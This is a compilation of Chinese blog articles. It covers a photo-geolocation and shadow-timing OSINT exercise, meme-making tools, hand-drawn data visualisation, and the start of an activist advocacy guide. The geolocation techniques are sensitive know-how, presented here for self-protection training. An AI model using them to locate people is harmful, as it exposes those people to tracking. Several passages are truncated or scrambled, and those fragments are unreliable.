即使您对荷兰一无所知，在地图上的一次搜索中就可以确定这不是阿姆斯特丹；最常见的失误并非是找不到线索，而是，人们已经获得了一些小的提示，只是没能把它们串联起来理解。

事实上这张照片是在德国汉堡拍摄的镜头，出现在德国电视剧中。

总之，作为公民调查人员，您需要具有3项最基本的优势：# 首先最基本的就是观察和记忆的能力 —— 当然，这一能力在其他很多方面

都是优势；

- 其次就是分析能力，比如本文采取的排除法，再比如此前强调过的“证伪而不是证实”（如果在这个案例中您采取的是证实法，那么很容易被阿姆斯特丹的错误线索所误导）
- 最后就是寻找资料证据的能力，也就是说，当不知道答案时您应该知道去哪里找。熟记我们介绍的搜索资源，您就很容易找到答案，

对于第二项优势，我们曾经提供的所有调查演示都是帮助这点的；对于第三项，我们提供过的所有工具都会有效。

而对于第一项，也许才是最棘手的；在手机和互联网的世界里，人们对现实的观察能力和对信息的记忆能力已经变得非常差，这是一个重大损失。IYP将在接下来的安排中加入对记忆力和观察技巧方面的介绍（以及练习），希望对公民调查人员/组织有用。〇

原文

DC9 情报眼：细节越多暴露越大—侦探挑战游戏 - iyouport

侦探挑战游戏

【2020年5月26日存档】请注意这里出现的是政府间谍最常用的开源追踪方法 —— 无需任何平台协助，无需任何后门

人们总是不知道自己发布的照片中都包含了哪些秘密 —— ⚠事实上永远比你想象中要多。

其实最近我们发现了一个很好的现象，一些中国网络用户在上传照片的时候的确会遮盖脸部、二维码和地址邮编的部分；但是，并非只有这些细节是致命的。

☞这就是 *侦探挑战* 游戏的用意，即 邀请您亲手调查一张陌生的照片，以此追踪发布者的位置甚至曝光其真实身份。

如果你尝试完成了相关的思考，下一次在准备上传任何照片的时候，您就会主动采取追踪者的眼光来审视您准备发布的内容。

今天的内容继续旨在锻炼这一能力 —— 您的自我保护直觉，和发现重要线索的敏锐。

军事情报人员接受的训练就包括这点，他们会拿到一张看上去细节不多的照片，但是他们被要求从中找到二十个重要的情报：照片中的人是谁？什么时候拍摄的这种照片？目标当时的心情如何？为什么是这样？他和谁在一起？他在哪里？他穿的是什么鞋？他穿的衣服是在哪里买到的？等等。

☞提出正确的问题有助于提取更多的情报线索；同时，只有当您拥有的信息越多的时候，才能越容易发现某些重要的东西。

今天的侦探挑战游戏使用 Julia Bayer 的题目，就是下面这张照片，问题是：它是在什么时间拍摄的？nixintel 对此做出了优秀的演示。

很明显这是一个关于 when 的问题。但是在没有任何EXIF数据或可见时钟的情况下，唯一计算时间的方法 …… 还记得是什么吗？

没错，就是利用太阳的阴影。

发布日期是 Nov 25, 2019，帖子中的提示是 “Last Thursday”，也就是说 **11月21日，星期四**。但是，如果需要知道具体拍摄时间，您首先要知道的就是具体地点。

那么如何开始对该图像进行地理定位呢？

你可以采用几种不同的技术，但是 nixintel 认为这是一个演绎军事版《二十个问题》的好机会 —— 您可以从这张照片中提取二十条情报线索来帮助入门吗？

来试试看：# 晴朗天气；

- 现代建筑，玻璃和金属构造；
- 它是什么样的建筑？不是住宅或工业建筑，看起来也不像是宏伟的公共建筑（比如法院、议会等）。
- 在建筑物的上面部分正在进行一些建筑工作；
- 右侧有 “Menu” 标志 —— 可能是咖啡馆或餐馆；
- 外面有大型百事可乐标志；
- 从左面玻璃窗的反射来看，这个建筑物位于道路旁的开放式绿色空间对面（比如公园或公共花园）；
- 人行道上的某种电话或电气维护箱；
- 带有YBS标志的黄色巴士– YBS代表什么？
- 巴士服务路线号是79；
- 公共汽车上的文字是非西方文字；
- 车身上刊登的是 “100 Plus Active” 软饮料的广告 —— 该产品在哪里出售？广告上有一个 Facebook 的logo—— 该公司是否有一个 Facebook 页面可以告诉我们更多有关它们在世界上哪些地方经营的信息？
- 公交车牌照的格式：红色背景上的白色文字，3N-2457。在此之上有一些较小的文字；
- 红色和白色相间的混凝土路缘石。哪些城市/国家有这样的道路？
- 主楼前有单独的道路或停车场？
- 照片中的人似乎是亚洲人，可能是东南亚人；
- 照片中的人穿着的衣服和绿树暗示着温暖的气候；
- 台阶右侧好像是某种神祭物品；

- 一个人坐在大楼外的台阶上。街上的人不多，交通也不多 ——这是否意味着是一天中很早的时间？这栋楼还没有开门吗？
- 有人体模特在建筑物的窗户中显现。说明该建筑物的部分或全部用于零售。

1. 《别让社交媒体的自然模糊阻挡真相》

- 《如何让模糊图像变清晰？- 开源情报初级处理工具》

1. 不要错过推特高级搜索方法《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

- 《调查记者如何从社交媒体上挖掘情报？》

1. 《千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法》

- 《让阴影说话：开源调查小游戏》
- 此外《10个简单技巧 快速验证社交媒体热门视频的真伪》

通过检查阴影长度并移动滑块以匹配照片中的阴影位置，可以估算出拍摄照片的时间是当地时间大约是08:40。

第一步：位置；

第二步：日期。确保它与您的 intel 匹配，因为 SunCalc 会基于它来模拟太阳的位置；

第三步：当地时间。显示的数值与屏幕最上方的滑块相关联；

第四步：阴影长度计算器。在这里您可以输入指定对象的高度。SunCalc 根据一天中的时间计算阴影的长度，并在地图上将其显示为黑线。

第五步：输入日期（2）和高度（4）后，您可以使用顶部的滑块调整阴影。 当它与您的参考相匹配时，本地时间框（3）显示出的信息就是您的答案。

在本案例中，建筑物的阴影似乎覆盖了第一个车道。这发生在上午8:40左右。（@Versoliter 的解答）

最后

如果您恰巧在搜索中发现了这个小细节，那么这个侦探挑战游戏对此后的另一个挑战也会有很大帮助：

「图」

仰光是缅甸的前首都。因此，当拍摄者说这栋建筑在旧都时，她很有可能再次指仰光：

建筑物是什么样的？不太可能是教堂。它看起来像某种不再使用的议会大厦。通过 Google 图片快速搜索 “Yangon + former parliament OR assembly”，可以看到旧时众议院的这张照片：

Wikipedia 进行了后续跟踪，找到该建筑物在使用中时的图片：

好啦就是这样，您学会了吗？记得多练习哦。〇

原文

如何制作自己的meme：6种简单方法 - iyouport

信息行动主义

帮助您的想法更容易传播。

最好的meme是有趣的，在正确的时间使用，用最简单直观的方式深入人心。从网络上抓取meme很容易，但有时最好的是您自己制作的，适合您需要的当时的情况。

好消息是，这些meme真的很容易建立：您不需要太多的艺术天赋或图形设计技巧，只需要一个好的想法（和好的时机）。

无论您是在电脑上还是在手机上，这里有一些您需要的应用程序和工具，可以开始制作您自己的meme。

1、Canva

「图」

Canva界面截图

Canva 为从初学者到行业专家的每个人提供了大量有用的图形设计工具，甚至还有一个内置的meme生成器。点击“创建新meme”，就可以开始运行了，不过如果您想保存和导出您的设计，您必须注册一个免费账户。

如果您想改编一个现有的meme，您会得到一个方便的模板，或者可以切换到 Uploads 来挑选您想要的图像。使用文本工具，在您选定的图片上添加一些文字。Canva 在文字字体、效果、颜色和大小方面为您提供了大量不同的选择，这是完全控制您的meme外观的最佳选择之一。Canva 也可以在安卓和iOS上使用。

2、Imgur

「图」

Imgur界面

图片分享平台 Imgur 有一个非常方便的meme生成器，作为其产品组合的一部分。打开meme生成器，您就可以加载您自己的图片，或者从 Imgur 资料库中挑选一个默认的meme—— 一些历史上最好的meme图片都可以使用，如果您没能马上看到您需要的东西，还有一个搜索功能。

在那之后，就只是一个点击文本并编辑它的问题了。不幸的是，您没有太多的格式选项，但可以点击并拖动文本框的角落来调整它们的大小，并将它们拖到底层图片的任何位置上。您可以在桌面、Android和iOS上使用它。

3、Imgflip

「图」

Imgflip 界面

图片分享平台 Imgflip 的meme生成器在用户界面方面可能不是最精致的，但它绝对能完成工作。您不需要注册账户就可以创建一个meme，如果您想看看目前网上流行的一些meme以获得一些灵感，这也是一个不错的选择。

您可以在创建meme时改变它的每一个方面，包括文字的大小和颜色，而且在您的作品上附加额外的图像也非常容易。可用的功能甚至延伸到绘画工具，所以如果需要任何涂鸦或箭头，Imgflip 都能满足。有一个移动应用程序，但只适用于 Android。

4、Livememe

「图」

Livememe界面

如果您想一步一步地创造您的meme，那么 Livememe 就是最合适的。您可以选择一个当下流行的meme，用您自己的文字来改编，或者您可以寻找其他流行的图片，或者您也可以加载您自己的图片。

没有任何改变文字或完成的meme布局的选项—— 您只是在顶部输入一些文字，在底部输入一些文字，仅此而已—— 但 Livememe 为您处理了尺寸和定位。如果您需要尽可能快地生成一个meme，这绝对值得一看。

5、Photoshop

「图」

如果您已经为 Adobe 的 Creative Cloud 订阅付费了，那么当然可以用 Photoshop 来拼凑一些meme —— 尽管我们不会说订阅价格特别值得，如果使用图像编辑器的目的只是为互联网制作有趣的图片的话，因为您不会触及所提供的大多数高级功能。

打开您的meme图片，点击工具箱窗口中的T文本工具，然后点击图片上的任何地方开始打字 —— 使用出现在顶部的选项来设置文本大小、颜色等。为了给文本添加一个轮廓，选择图层、图层样式和描边，并确保位置被设置为文本外。

6、Spark

「图」

Spark 界面

如果您不想花钱买 Photoshop，Adobe 制作了一个名为 Spark 的免费图像编辑器，您可以在浏览器、安卓或iOS上使用。需要注册一个免费账户来使用该软件，一个电子邮件地址用于注册，就可以获得大量的工具和功能。

网络上的主要meme制作界面都有文本和照片选项，您可以在它们之间切换。如果您想改编一个现有的meme，也有模板选项。〇

不要错过我们的 “信息行动主义” 系列教程：

- 《活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系》
- 《确定变化的杠杆：信息行动主义指南（2）- 战略效用》
- 《社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项》
- 《让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具

和技巧》
- 《拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱》
- 《从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径》
- 《为行动而计划：信息行动主义（7）- 探索战术思想》
- 《挑战当权者的叙事：信息行动主义（8）- 讲述故事是一件武器》
- 《信息只是战术，有效行动才是战略目标：信息行动主义（9）- 专注于要解决的问题是成功关键》
- 《保存直播视频的四种方法：信息行动主义—视频行动（10）》

6 Easy Ways to Make Your Own Memes

原文

手工数据可视化：让您的调查和行动倡导更吸引人 - iyouport

信息行动主义让它民主-公民掌握真相的技巧和技术

电脑制作的可视化是呆板的，如果您想让自己的工作看起来更有魅力，您就需要花点心思

这是一个通过复杂的代码和图形设计来实现数据可视化的世界。从 Tableau 到 Datawrapper，再到Python和R，存在着许多可视化故事的可能性。但是在最初，所有的数据可视化都是通过手工完成的。像 W. E. B. Du Bois 和 Florence Nightingale 这样的可视化先驱都是手绘他们的可视化图，因为根本没有其他方法来实现。1858年 Florence Nightingale 绘制的 “东部军队中的死亡原因图”，这位革命性的护理人员也是一位数学家，她知道用手绘图像可视化信息的力量

对于W·E·B·杜波依斯（Du Bois），是他的黑人社会学家团队使用数据可视化向世界解释了制度化的种族主义，而对于南丁格尔（Ningingale），则是她的图表显示了死亡原因。W·E·B·杜波依斯

而且，即使是在计算机发展的同时，使用类比手段进行可视化往往也是更容易的。本文将探讨手绘可视化的历史和以这种方式呈现的理由。还将展示那些选择和相关资源。尤其是，您还会学到一些帮助您入门的小技巧。

简史

「图」

当玛丽·埃莉诺·斯皮尔 (Mary Eleanor Spear) 在1952年写下她的先锋可视化书籍《统计图表》时，她强调的是可以轻松手绘的图形。例如，“区间条形图”（箱形图的前身）是一个简单的数值变量汇总图——这是一种相对简单的视觉效果，不需要计算机就可以创建。

与直方图不同的是，箱形图只依靠一些总结性的统计数字，而直方图

则需要事先决定断点，并计算落入每个仓的案例数量。分析师会计算中位数、四分位数，并考虑到离群值，然后拿出尺子和铅笔来绘制可视化图。Mary Eleanor Spear

约翰·图基 (John Tukey) 在1977年出版的《探索性数据分析》一书中普及了这些思想，他还强调图形可以很容易地手绘出来。

探索性数据分析（并做出基本的数据可视化，以了解一个数据集，然后再继续前进。EDA书中的每一个图形都是由 Tukey 手工制作的，非常精确，它们可能会被误认为是计算机生成的图表。John Tukey

另一位可视化先驱雅克·贝尔坦（Jacqu让数据分析师在没有计算机的情况下尽可能地提高工作效率。

他的战略n矩阵”，这是整个数据集的物理表示，可以通过使用研究生会努力寻找一种能显示数据结构的排序，然后复印物理矩阵，以保留数据的一个版本，然后继续前进。*Bertin*矩阵的一个例子

数字化更好吗？手绘视觉效果的案例

「图」

所以，手工制作的数据可视化并不是什么新鲜事。事实上，它是可视化的原始形式。但是，随着计算机工具的发展，使创建数据可视化更容易了，越来越多的可视化是“天生的数字化”。这并不意味着手工制作的可视化需求已经消失，也不意味着计算机生成的图形更好。

提倡公民调查者尝试手绘可视化有几个原因：

1、它可以能让你跳出思维定式。如果你是一个善于使用电脑工具生成可视化的人，你可能只会想到你的工具最容易生成的视觉形式，这就成了思维定式。

2、一个手工制作的可视化可以给一个故事带来亲切感。通常情况下，电脑生成的视觉效果会让人感觉很死板，而且对某些观众来说也是难以接受的。

3、手工制作的视觉效果给人的感觉就不那么死板了，所以它们是传达不确定性的好方法。

4、手工制作可视化是学习数据值与可视标记结合的具体方法。

5、这很有趣！

有时，手工制作的可视化是您为自己制作的产品，以帮助您进行头脑风暴，理解您的数据，或者只是作为一个创造性的出口。其他时候，手工制作的数据可视化可以成为您的最终产品，发布给其他人阅读和体验。

而且有很多手工制作的可视化作品可以从中获得灵感。Infographics Designers Sketchbooks 这本书充满了可视化的幕后花絮，讲述了可视化是如何开始的。虽然有些作者是用编码进行草图绘制，但绝大多数作者都是从纸上开始绘画的。所以，手绘的可视化也可以是迈向计算机生成的东西的第一步。

也许更有趣的是那些最终以某种方式发表的手绘可视化作品。在个人可视化类别中，Giorgia Lupi 和 Stefanie Posavec 的项目 Dear Data 就是一个典型的例子。

Lupi 和 Posavec 都是专业的设计师，他们的客户作品（通常是电脑生成的）可以在不同的场合看到。

对于“亲爱的数据”这个项目，他们采取了另一种方式。在一年的时间里，他们每个人每周都会收集关于自己生活中一个约定俗成的话题的数据（比如笑声、门或抱怨），并将这些数据手绘成可视化的明信片。他们将这些明信片越洋邮寄给对方。

虽然数据可视化通常旨在准确地将信息传递给读者，但这并不是 Lupi 和 Posavec 的目标。

相反，他们想向对方传达一些他们生活的意义。读者并没有被要求解读他们放在页面上的精确数值，而是从美丽的形式中汲取灵感，享受更接近于作者生活的叙述或回忆录。

还有其他数据艺术家在这个空间里创作作品，比如尼古拉斯·费尔顿（Nicholas Felton），他多年来一直在制作一年一度的《费尔顿报告》。

购买《费尔顿报告》的人并不是为了了解世界的新情况，而是为了欣赏费尔顿的作品。同样，这些报告也是艺术作品，就像数据可视化的自传。

专家说

「图」

对数据可视化的研究往往集中在可视化如何有效地传达它所编码的精确信息上。1984年，William Cleveland 和 Robert McGill 发表了一篇名为《图形感知》的论文。

这篇论文（被引用了1600多次！）概述了他们对图形感知的实验结果。如果你听过用条形图代替饼图的论点，数据很可能来自1984年的这项研究。

他们的研究显示了人们对（圆形或其他形状的）面积的判断有多么糟糕，并告诫人们不要使用面积作为图形编码的方法。IEEE Vis 是一个研究可视化的计算机科学家的专业社区和会议，它继续按照这种思路发表论文。

然而，可视化的目标并不总是要以这样一种方式对信息进行编码，以便于读出确切的数值。通常情况下，最重要的是给人一种真实的数据印象。而且，技术上最正确的可视化可能并不总是传达这种印象的最佳方式。

- 不要错过 《“让数据说话”只是个唬人的幌子：识破谎言（1）》
- 《数轴有鬼：用数据可视化撒谎很简单（2）》
- 《恶搞统计数据：小心媒体用统计忽悠人（3）》
- 《看起来专业不意味着正确：反知识的迷惑性（4）》

可视化的一个重要组成部分是注意力 —— 一个人如果不注意它，就无法阅读和理解一个视觉效果。可视化评论家 Edward Tufte 经常提倡尽可能简单的可视化，通过最大化数据与墨水的比例。

黑马分析公司制作了一个gif的例子，说明这个过程可能是什么样子的。在很多情况下，减少视觉上的杂乱和非数据墨水的数量是比较好的，但其他时候，Tufte 似乎把这一点做得太过火了，比如他重新设计的箱形图，最后变成了一条中间有一个点的断线。

数据可视化专家 Nathan Yau 提倡他所说的 “whizbang”。**Whizbang** 是一种很酷的因素（通常是动画或互动形式的），它能吸引人们进入你的可视化。在这个充斥着数字生成的可视化的世界里，一个手工制作的可视化可能正是您吸引读者的关键所在。

数据记者 Mona Chalabi 已经接受了这个想法，创造了许多手绘的可

视化，并作为成品发表在卫报和其他地方。

Chalabi 是《卫报》的数据编辑，所以她知道数据可视化的 “规则”。但她也知道什么时候可以调整或打破这些规则。她在 OpenVisConf 的演讲中讨论了她的理念，即 制作能够为尽可能多的人提供信息的图形。

Chalabi 考虑到了她的可视化的背景。她还使用熟悉的物体来绘制她的可视化图，以帮助读者理解诸如单位之类的东西。例如，她用常见的苏打水瓶尺寸制作了一个视觉图来回答 “多少尿才算是多尿” 的问题。

在另一篇文章中，她通过撒糖显示了美国和英国一段时间内的糖消耗量。

除了 Chalabi 所画的物体所赋予的熟悉感之外，她的视觉化作品的手绘性质也让人感觉不那么精确。这正是她的意图。数字和电脑生成的视觉效果往往 “感觉” 是真实的，但总是有一些不确定性围绕着它们。

通过手绘可视化图，Chalabi 能够传达一些变化。当您看到她关于不同种族的人排放和吸入了多少空气污染的可视化图时，您无法读出确切的数字（事实上，您根本无法读出数字 —这个图表没有标注轴！）；相反，您将能够看到哪个群体所占的份额最大，以及占多少。

Chalabi 是根据自己的直觉工作的，但巴克内尔大学的研究人员已经开始研究不同群体对数据可视化的不同解释。到目前为止，他们将研究重点放在了一个特定的农村人口上，但您可以想象这项工作如何扩展到其他子群体。他们的一个关键发现是，可视化是个人化的。

通常情况下，我们认为我们可以对某一特定的数据集进行理想化的表述，但每个人都是带着自己的身份和先前的信念来进行可视化的。对于某些群体来说，可视化可能效果很好，而对于其他群体来说，则完全不行。

Bucknell 的研究人员指出，该领域许多关于感知的历史研究都依赖于同质的人群（通常是大学生，他们往往比普通人更富有、白人比例更高，当然还有更多的教育）。

手绘可视化的实践：一个入门的练习

「图」

希望现在我已经说服了您，用手画出您的可视化有很多好处。但是，您究竟该如何开始做呢？主要建议是把铅笔放在纸上，然后开始。很多人认为自己不会画画，但几乎每个人小时候都会画画，只是长大后就忘了这个习惯。和其他技能一样，您会越练越好。

您不需要任何特别的材料来画可视化图。只要一支笔和一张纸就可以了，但是有一些颜色会让事情变得更有趣。各种工艺材料可以帮助您手动创建数据可视化

同样，这些用品不一定要贵，很简单就可以，一些需要考虑的用品：

- 彩色建筑设计纸
- 剪刀
- 记号笔
- 胶水
- 尺子

除了这些标准的学习用品外，您还可以准备气球、绒球、水彩颜料、铁丝、绳子等东西。有很多东西可以玩，就会有很多创意。如果您想玩得更花哨，Sketch-a-Day建议的用品是一个好的开始。

草图、构思和迭代是设计思维的关键要素，艺术家和设计师在确定一个最终的想法之前，经常会产生许多草图来充实。如果您在选择一个特定的形式之前，先画出（比如）四张可视化的草图，您可能会发现您后来的想法比您的第一个想法要强得多。

同样，用手工作可以使您更容易快速地产生一些想法。如果您想扩展自己，可以尝试在开始之前画10张草图，或者从 Nathan Yau 那里获得灵感，产生25种不同的可能性。

尽快完成。每张草图花30秒到1分钟的时间，这样您就不会太拘泥于某个特定的想法。记住，您可以在素描期结束后再回到您喜欢的那一个。如果您没有其他想法了，可以在您想探索的想法上画一些微妙的变化，但目标是尽可能地画出不同的草图。同样，这也是锻炼创造力的好方法。

如果您和其他人一起工作，可以考虑召开一个“设计讨论会”。来自 Nielsen Norman Group 的 Kara Pernice 将其解释为“一个简短的合作会议，在这个会议上，团队成员迅速合作并绘制设计草图，以探索

和分享广泛多样的设计理念”。

在您快速勾勒出几个想法后，花一分钟时间评估它们。您想进一步探索哪一个？现在，您可以开始创作你的 “成品” 了（可能只是给自己的，也可能是针对未来的读者）。考虑您是否要使用尺子或指南针等工具来使作品更加精确，或者您是否想让它保持流畅。

考虑一下您对色彩的使用。在没有电脑的情况下，没有任何预定义的调色板可供选择，所以您可能需要更有针对性。另一方面，也许您只有五种颜色的记号笔，所以这些将是您的颜色选择。

先用一个很小的数据集试试这个练习。建议少于**10**行，但至少要有两个变量。约束孕育着创造力，必须只关注几个值，会让您对您的一组想法有更多的延伸。

另外，如果您需要为数据集中的每个观测值做一个标记，请记住，数据集越大，需要的时间越长! 一些手工制作的可视化可以漂亮地捕捉到许多值，但这可能需要更高级的技能。

如果您正在寻找小型数据集，维基百科可以是一个很好的资源。随着您的手工可视化经验越来越丰富，可能会想尝试更大的数据集。这很好! 事实上，使用电脑工具和艺术用品的组合是一种有趣的结合。您可以用电脑来总结数据，但在纸上进行制作。

如果您想创建一个精确的可视化，但也要给人一种手工制作的感觉，可以从 Tukey 那里获得灵感，用纸来描摹电脑生成的图形。当您想画一些可能超出您艺术技巧的东西时，这也是很有用的（比如国家地图）。

如果您想要的是以电子方式分享的可视化作品，您很可能需要一个二维的产品，但如果您可以灵活地制作三维的东西，可以尝试加入更多上面提到的手工用品。

在 SRCCON 上，参与者们玩起了明尼阿波利斯湖泊的维度，用纸和铁丝制作了三维可视化：

最后

「图」

无论您决定如何工作，手脑并用的做法都能让您更接近您的数据。在

《新闻编辑室里的数字》一书中，莎拉·科恩建议你应该“记住一些常用的数字”。

有什么比在纸上实际绘制这些数字更好的熟悉方式呢？这也是一种很好的教学实践，因为当学生开始将数据可视化时，他们可能会陷入计算机工具的技术细节中，而没有掌握数据和视觉之间的潜在联系。去掉计算机后，就会变得更加具体。

无论您做什么，将手工制作的数据可视化带入您的实践中可以让您的生活充满更多的奇思妙想和乐趣。即使您的手绘可视化作品从来没有被打印出来，它们也可以帮助您创造性地思考您以数字方式制作的东西。而且，在合适的情况下，手工制作的可视化可以让您的数据更容易被广大受众所接受 —— 比如在您的行动主义倡导中。〇

Data visualisation by hand: drawing data for your next story

原文

活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系 - iyouport

信息行动主义

【2021年3月18日存档】“让你的议题成为人们的兴趣”、”让你的议题成为人们的议题” 和 “让你的议题成为人们的行动”

“信息行动主义” 是一个新的系列指南，服务于希望在动员和倡导活动中使用技术工具和实践的活动家、倡导者、非政府组织和社区组织。

这套指南汇集了来自世界各地的信息行动、战略、数字工具和案例研究，采取其经验，重点关注数字动员和倡导活动的预期战略影响。

本指南围绕三个层次的活动成果进行构建，它们是递进的：帮助倡导者提高受众对某一问题的认识，让受众更深入地参与到某一问题中，以及推动受众采取具体行动。可以将这三个层次分别称为 “让你的议题成为人们的兴趣”、“让你的议题成为人们的议题” 和 “让你的议题成为人们的行动”。

随着活动家可用的数字工具和平台的激增，有时很难知道该从哪里开始，以及哪些工具最适合（或不适合）不同类型的活动和不同国家或地区的环境。

因此，本指南将从基本知识开始、到信息活动家认为对其工作有用的和可靠的数字工具的选择，以及一些其他团体如何在其倡导和动员活动中使用信息和数字技术的成功例子。

如果您是全球任何地方的行动主义者、倡导者、非政府组织、或社区工作者，并且：

- 正在使用数字工具发起或准备发起在线和/或离线动员活动；
- 想要更多地了解从活动家的角度来看最常用、最有用的数字工

具；
- 正在寻找灵感或想法，了解他人如何以创新的方式使用数字工具，并以有限的技术传递强烈的信息；
- 希望更多关注工具和战略的应用，而不是抽象的理论；希望有一个实用的而不一定是高技术性的指南。

那么，本指南将适合您。本指南将采取尽可能简略的语言；在您的实践中，可以基于自己的具体环境补充更多详细练习。

动手总是最好的学习方法。

要领 1 ~ 您正在和谁说话？

「图」

活动家的倡导和动员事实上是一种交流，您需要随时意识到您正在对谁说话，以便采取目标受众最容易接受的方式、最有触动力的方式，构建您的信息。

📌 您需要确定的受众是与您的议题本身利益相关的群体。

一般来说，一个议题可以涉及多个社区，所有这些社区都可以被视为利益相关者。

利益相关者是指与您的倡导议题有关的人、团体、组织或机构。他们可能支持您的运动、可能会受到相关问题的不利影响、和/或有能力改变局面，也包括应该对您发现的问题负责的人。

列出所有的利益相关者是很重要的。您需要知道每一个有能力影响您的反抗事业并帮助做出改变的人都是谁。

利益相关者的类型：

- 盟友 —— 已经支持您的工作的人和组织；
- 中立者 —— 立场或态度不明确或没有积极参与此问题的人，您也许有机会拉拢这样的人来支持您；
- 对手 —— 反对您想推动的变革的人。

您应该用这三个类别来描绘您的利益相关者，并讨论为什么您这样看待他们。了解所有的利益相关者将帮助您确定您的目标受众和参与者社区。

创建利益相关者的档案

「图」

为您想到的所有利益相关方构建一个列表式的档案，以方便随时查阅、并定期更新。

在确定利益相关方时，围绕以下标准创建简介可能是有用的：

1、人口统计角度 —— 种族、性别、民族、年龄、受教育程度、宗教等；这意味着您需要采取哪种倡导模式才能吸引您的目标。

2、地理角度 —— 地方、国家、国际、偏远、城市、农村；这关系到您的倡导和动员如何才能接近您的受众。

3、态度 —— 他们如何看待您提出的议题或您反抗的现象，他们的积极性如何？怎样才能让他们采取行动？分析这些，以帮助您构建最合适的倡导计划。

4、媒体习惯 —— 他们接触、使用和喜欢什么样的媒体资源？这是您可以借助的媒介，以吸引他们对您的议题的注意。

5、文化 —— 他们的文化背景是什么，他们喜欢说或阅读什么语言？

目标受众和参与者

「图」

目标受众 指的是，能够真正实现您希望看到的改变的人群。参与者社区 指的是您希望看到成为您的倡导活动或直接行动项目的一部分的那群人：这些人、组织和团体将观看您发布的所有内容，帮助分发您的倡导内容、并提供不同形式的支持。他们中的一些人将是积极的参与者，一些人则是被动的。

比如，您与不同行动者社区之间的联盟、您的倡导活动或理念与国际上同类权利组织和社区的联盟、您的目标地区的活动家组织、最可能响应行动号召的人群 …… 也包括您的对手，让他们看到你们的行动对他们施加的压力。

📌 确定您的目标受众和参与群体是很重要的，因为，有可能出现这样的状况：一个为所有人设计的倡导活动，最后却没有特定的人参

与。成功的电影、电视节目、报纸或海报，从来都不是为“所有人”制作的，它必须有针对性。

另一方面，一个针对特定受众的精心制作的倡导活动，很容易得到许多不同群体的喜爱。

使用上述您创建的利益相关者列表，确定您的倡导活动的目标受众（或群体）。同时确定将成为您的参与者社区的人群。确定这两个群体将有助于您的行动更加有效。

例如：如果一个环保活动家组织的倡导活动是为了确保采矿业采用道德实践，那么采矿业和政府很可能就是您的目标受众。这些人有能力做出您希望看到的改变。受采矿影响的社区，以及国家或国际环境倡导组织，很可能是参与者。这些人将通过消费和传播您的倡导内容，并采取行动支持您的事业而参与其中。

再例如：如果一个人权活动家组织的倡导活动目标是释放政治犯，那么司法系统和政府就是您的目标受众；政治犯的支持者、曾经受到该政治犯协助的社区和人群、做着同样的工作并同时担心自己会成为下一个政治犯的社区或个人、相关国际权利组织等等，都可以是您的倡导行动的参与者。

目标受众和参与者社区可能会重叠；例如，营救 Julian Assange 的捍卫透明度革命倡导行动，对于那些刻意冷漠面对吹哨平台被镇压事实的企业媒体，可同时作为目标受众和参与者 —— 要拉动他们转向支持吹哨，强调新闻工作就依赖吹哨人，如果他们不想变成下一个被“国安法”判刑的人，他们就应该站出来捍卫自己的执业权利。

了解您的倡导活动的利益相关者

「图」

在确定了您的利益相关者都是谁之后，下一步就是确定这些利益相关者与您提出的问题之间的关系、以及他们彼此之间的关系。您甚至可以画出一个思维导图来帮助更好地理解他们之间是如何相互影响的。

📌 您应该：

- 了解每个利益相关者与您提出的问题及您提出的解决方案之间的关系 —— 如何让您提出的解决方案更多满足他们的共同利益？强调您的提议对他们的好处；

- 界定不同利益相关方之间的关系 —— 即 了解他们之间的互相作用。最好能让他们联合起来支持您；
- 确定利益相关者帮助或损害您的活动的能力和意愿。

您可以参考下面的图形。

一旦完成了这些，您就可以进入最重要的一步了：考虑什么策略能最好地解决您的目标和调动您的参与者群体。

👌 这里有一个活动可以帮助您做到这一点。

画一个半圆并分成楔形。标记楔形，以便将那些最支持您的活动的人位于频谱的左侧，而那些反对您的人在右侧。楔形图将包括以下5部分内容：

- 活跃的盟友 —— 支持您并有动力实现您的目标的人
- 盟友 —— 可能从您的成功中获益的人群，他们可能旁观，也可能加入您
- 中立方 —— 目前可能不涉及您的议题或不受其影响的人
- 对手 —— 可能会因为您的成功而受到影响，尤其是他们的私利被削弱
- 积极的对手 —— 积极干扰您的活动的人，您的行动主义是他们最害怕的东西

用便利贴，根据每个目标和利益相关者对您的抵抗事业的支持程度，将其命名并放置在一个楔子里。结果就是一个利益相关者的谱系。您将使用此图来帮助决定在哪里使用哪些策略。

不同的利益相关者可能需要不同的策略，这取决于他们在图谱中的位置。

例如：

- 对支持者：使用动员策略
- 对中立方：采用教育策略，将危险直观地呈现出来
- 对反对方：采取干扰战术，削弱他们压制您的能力

要领 2 ~ 您想说什么

「图」

即 您的倡导目标是什么、您希望达成什么样的目的？您传递的所有信

息都将围绕这一目标，为其服务。

📌 您提供的信息是吸引人们参加您的倡导活动的关键。通过您的研究，找出需要传达的信息是什么、以及如何传达。您可以向不同的利益相关者发送多个信息，但它们都应该指向同一个目标。

一个有效的信息应该是这样的：

- 要简单明了，把原因解释清楚，不要模棱两可
- 强调您的反抗事业的极端重要性，解释它为什么如此重要
- 告诉人们一些新的东西，一些他们还没有想到的、没机会接触到的真相 —— 用解密文件和吹哨人提供的证据，而不是用企业媒体的宣传
- 要有吸引力，要有趣，要完全贴紧您所倡导的主题
- 阐明采取反抗行动的必要性，并提供一个可行的解决方案

以上这些都是基本要点，简单说，您的信息架构必须有战略性，尤其是，必须是有充分证据的真相。📌 在证据不够充分的情况下如果一定要说某些话，请强调证据不足！这是您的信誉问题！信誉只能损失一次，如果人们发现您在宣传，而非倡导，他们必然会抛弃您。而您的对手会借机对您倒打一耙，推翻您的一切主张。

永远不要让自己传播的信息证据不足，除非您有谷歌级别的操纵全球人认知的算法暴政能力（您不会有的，也不应该对这种能力感兴趣），否则，对任何寻求正义的倡导来说，只有真相才是您的武器，虚假和模棱两可只会毁掉您的一切主张。

有效信息的要素

「图」

如上所述，在制作您的信息时，重要的是要记住，准确和诚实是至关重要的。否则将产生灾难性影响。

